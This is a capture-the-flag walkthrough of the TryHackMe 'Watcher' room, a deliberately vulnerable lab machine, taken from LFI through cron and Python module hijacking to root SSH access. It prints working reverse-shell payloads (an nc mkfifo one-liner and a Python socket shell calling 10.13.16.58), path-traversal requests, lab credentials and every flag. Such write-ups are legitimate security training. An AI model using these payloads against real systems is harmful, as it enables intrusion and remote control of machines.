TryHackMe Watcher Writeup (Linux)

Summary

Watcher serves a Jekyll site over Apache alongside FTP and SSH. The main page’s source shows post.php taking a post parameter, and it reads arbitrary files, starting with /etc/passwd, which names will, mat, toby and ftpuser. robots.txt points at secret_file_do_not_read.txt, which returns 403 when requested directly but reads fine through the inclusion, and it carries the FTP credentials ftpuser:givemefiles777. Uploading a PHP reverse shell over FTP into /home/ftpuser/ftp/files and then including it gives a shell as www-data, which may run anything as toby through sudo. toby can write /home/toby/jobs/cow.sh, which runs every 30 seconds as mat, and mat may run a python script as will that imports a module mat can write, so hijacking that module gives will. will belongs to the adm group, which can read /opt/backups/key.b64, and base64 decoding it yields root’s SSH private key.

• export IP=10.10.33.133

80/tcp on 10.10.33.133 Apache httpd 2.4.29 http-generator: Jekyll v4.1.1 21/tcp on 10.10.33.133 vsftpd 3.0.3 22/tcp on 10.10.33.133 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3

Local File Inclusion [ Severity: Medium (6 ~ 7) ] http[:]//10.10.33.133/post.php?post=../../../../etc/passwd

• Found viewing the source code of the main page

/etc/passwd [ Via LFI ]

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
will:x:1000:1000:will:/home/will:/bin/bash
ftp:x:111:114:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
ftpuser:x:1001:1001:,,,:/home/ftpuser:/usr/sbin/nologin
mat:x:1002:1002:,#,,:/home/mat:/bin/bash
toby:x:1003:1003:,,,:/home/toby:/bin/bash

Confirmed users will mat toby

Sensitive data exposure via robots.txt http[:]//10.10.33.133/robots.txt

Flag area

FLAG{robots_dot_text_what_is_next}   [ Found via robots.txt ]
FLAG{ftp_you_and_me}   [ Found via ftp ]
FLAG{lfi_what_a_guy}   [ /var/www/html/more_secrets_a9f10a ]
FLAG{chad_lifestyle}   [ Via sudo -l ]
FLAG{live_by_the_cow_die_by_the_cow}   [ Via cron job exploitation (cow.sh) ]
FLAG{but_i_thought_my_script_was_secure}   [ Via python module hijacking ]
FLAG{who_watches_the_watchers}   [ Via insecure backup -- id_rsa for root user ]

Flag location

/var/www/html/flag_1.txt
/home/ftpuser/ftp/flag_2.txt
/var/www/html/more_secrets_a9f10a/flag_3.txt
/home/toby/flag_4.txt
/home/mat/flag_5.txt
/home/will/flag_6.txt
/root/flag_7.txt

secret_file_do_not_read.txt [ Discovered via robots.txt and accessed via LFI ] http[:]//10.10.33.133/post.php?post=secret_file_do_not_read.txt [ The only way to access this is via LFI. File returns 403 normally ]

• “Hi Mat, The credentials for the FTP server are below. I’ve set the files to be saved to /home/ftpuser/ftp/files. Will ———- ftpuser:givemefiles777”

FTP Information

• Files are being saved to /home/ftpuser/ftp/files
• Credentials: ftpuser:givemefiles777

Remote Code Execution // Initial Foothold [ Severity: High (7 ~ 8) ]

• Uploaded evil.php via ftp [ Reverse shell ]
• Able to access it via LFI http[:]//10.10.33.133/post.php?post=../../../../home/ftpuser/ftp/files/evil.php

Horizontal privilege escalation [ User: toby ] sudo -l User www-data may run the following commands on watcher: (toby) NOPASSWD: ALL sudo -u toby /bin/bash

Horizontal privilege escalation [ User: mat ]

• /home/toby/jobs/cow.sh is running every 30 secs as ‘mat’ user.
• As toby, I have rights to write to this file. $ nano cow.sh

#!/bin/bash
cp /home/mat/cow.jpg /tmp/cow.jpg
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.13.16.58 1337 >/tmp/f

Horizontal privilege escalation [ User: will ]

• Will authorized running a python script as him via sudo -u

• The script, however, is importing a library which I have write permissions.

• Python library hijacking

• Python code to gain a shell: [ editing cmd.py ]

import socket
	import subprocess
	import os

	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect(("10.13.16.58",4444))

	os.dup2(s.fileno(),0)
	os.dup2(s.fileno(),1)
	os.dup2(s.fileno(),2)

	p=subprocess.call(["/bin/sh","-i"])

$ sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py

Vertical privilege escalation

• Will is on (adm) group. Interesting.
• Running linpeas, I particularly found interesting the following files:

drwxrwx— 2 root adm 4096 Dec 3 2020 /opt/backups total 4 -rw-rw—- 1 root adm 2270 Dec 3 2020 key.b64

$ cat /opt/backups/key.b64

• It is a rsa private key! From root user, I suppose.
• Decoding via cyberchef (from base64) and setting the right permissions (chmod 600 id_rsa) I’m able to login via ssh as root user. ssh -i id_rsa root@IP